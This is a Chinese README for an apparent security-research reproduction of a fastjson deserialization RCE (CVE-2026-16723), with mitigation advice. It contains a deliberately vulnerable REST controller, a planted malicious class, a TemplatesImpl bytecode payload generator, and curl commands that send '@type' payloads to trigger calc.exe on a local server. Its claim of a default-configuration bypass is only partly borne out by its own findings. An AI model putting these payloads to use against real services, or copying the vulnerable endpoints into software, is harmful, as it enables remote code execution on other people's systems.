| 属性 | 值 |
|---|
| CVE ID | CVE-2026-16723 |
| 组件 | fastjson |
| 受影响版本 | 1.2.68 – 1.2.83 |
| 修复版本 | 1.2.84+、2.0.0+ |
| 漏洞类型 | 反序列化 / RCE |
| 严重程度 | CVSS 3.1:9.0(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
fastjson-cve-2026-16723/
├── pom.xml # 主项目(包含存在漏洞的 fastjson 的 Spring Boot 应用)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Spring Boot 入口点
│ └── controller/
│ └── VulnerableController.java # 存在漏洞的 REST 端点
├── malicious/ # 独立模块:用于供应链攻击模拟的恶意 JAR
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # 带有静态初始化器的恶意类
│ ├── EvilTranslet.java # 用于 TemplatesImpl 内存模式的恶意 translet
│ └── GenTemplatesPayload.java # 生成 TemplatesImpl JSON 载荷
├── templates-payload.json # 生成的 TemplatesImpl 载荷(直接变体)
├── templates-payload-preload.json # 生成的 TemplatesImpl 载荷(类预加载变体)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 在 AutoType 保护机制中存在一个绕过漏洞。即使在默认配置(autoTypeSupport=false)下,攻击者也可以通过精心构造的 JSON 载荷利用以下利用链实例化任意类:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl(JNDI 注入)java.lang.Runtime(直接命令执行)@type:exploit.MaliciousClass)VulnerableController.java —— 两个端点演示了该问题:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// 存在漏洞:使用默认配置的 JSON.parseObject
// 无需 ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// 强制反序列化为 Object —— 触发实际的类实例化
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# 构建主应用
mvn clean package -DskipTests
# 构建恶意 JAR(独立模块)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar —— Spring Boot 胖 JARmalicious/target/malicious-jar-1.0.jar —— 包含 exploit.MaliciousClass 的恶意 JARjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
服务器启动于 http://localhost:8080
运行时要求: 本项目针对 Java 8,TemplatesImpl 内存模式已在 JDK 8 上验证。在 JDK 9+ 上,模块系统会阻止对
java.xml内部的反射访问,因此利用链会失败并报错Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,除非添加--add-opens标志:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
主 pom.xml 将恶意 JAR 声明为依赖,因此它会被打包进胖 JAR 中:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
运行时验证:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
预期结果: CVE-2026-16723 Reproduction Endpoint Ready...
malicious 模块提供了 exploit.MaliciousClass,其静态初始化器会在类加载时执行 calc.exe。
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
结果:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
并且 calc.exe 会在服务器上启动。
注意: 这演示了一种供应链攻击场景,即 classpath 上存在恶意依赖。该漏洞允许实例化 classpath 上的任意类,而不仅仅是 JDK 类。
与供应链模式(需要 classpath 上有恶意类)和 JNDI 模式(需要 LDAP/RMI 服务器)不同,此模式将恶意字节码直接嵌入载荷中,并通过 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 从内存加载 —— 无需部署任何额外内容。
步骤 1 —— 生成载荷:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
这会编译 exploit.EvilTranslet(一个 AbstractTranslet 子类,其静态初始化器会运行 calc.exe),将其 .class 字节进行 base64 编码,并写入:
templates-payload.json —— 直接变体("@type": "TemplatesImpl")templates-payload-preload.json —— java.lang.Class 预加载变体步骤 2 —— 触发载荷:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
结果:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
并且 calc.exe 会在服务器上启动。
⚠️ 实证发现(已针对 fastjson 1.2.83 验证): TemplatesImpl 利用链在纯默认配置下无法触发:
- 直接的
@type载荷会被 AutoType 拒绝列表拦截(autoType is not support)。java.lang.Class预加载链在两个方面失败:java.lang.Class本身就在拒绝列表上(autoType is not support. java.lang.Class),而且即使将TemplatesImpl预加载到内部类映射中,也无法绕过拒绝列表 —— 1.2.47 时代的映射绕过已在 1.2.83 上修复。- 仅设置
autoTypeSupport(true)也不够:拒绝列表的优先级高于 autoType 标志。- 只有当类通过
ParserConfig.addAccept(...)被加入白名单(接受列表的优先级高于拒绝列表)并且启用了Feature.SupportNonPublicField(TemplatesImpl 的_bytecodes/_name/_tfactory是私有字段)时,利用链才会触发。/api/deserialize-autotype端点恰好实现了这一组合。- 运行时: 该利用链已在 JDK 8 上验证。在 JDK 9+ 上,模块系统会阻止对
java.xml内部的反射访问,因此实例创建会失败并报错Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,除非使用运行应用中的 JVM 标志。
| 端点 | 行为 |
|---|---|
POST /api/parse | 解析为 JSONObject —— 可能不会对所有载荷触发完整反序列化 |
POST /api/deserialize | 解析为 Object —— 强制完整反序列化和类实例化(默认配置) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField —— 写入私有字段,但拒绝列表仍会拦截 TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField —— 触发 TemplatesImpl 内存利用链 |
对于恶意类利用,需要 /api/deserialize 来触发静态初始化器。
将 fastjson 升级到已修补的版本:
<!-- 选项 1:fastjson 1.x(推荐 1.x 用户使用) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- 选项 2:fastjson 2.x(推荐新项目使用) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// 全局禁用 AutoType(部分缓解 —— 利用链仍可能绕过)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 或使用 safeMode(fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
本项目仅用于教育和防御性安全研究目的。
- 请勿将其用于您不拥有或未经明确书面许可进行测试的系统。
- 作者不对因使用本代码而产生的任何滥用、损害或法律后果负责。
- 发现漏洞时请始终遵循负责任披露实践。
- 此复现使用良性载荷(
calc.exe)进行演示;真实漏洞利用可能造成严重危害。
本项目按原样提供,用于安全研究。不提供任何明示或暗示的担保。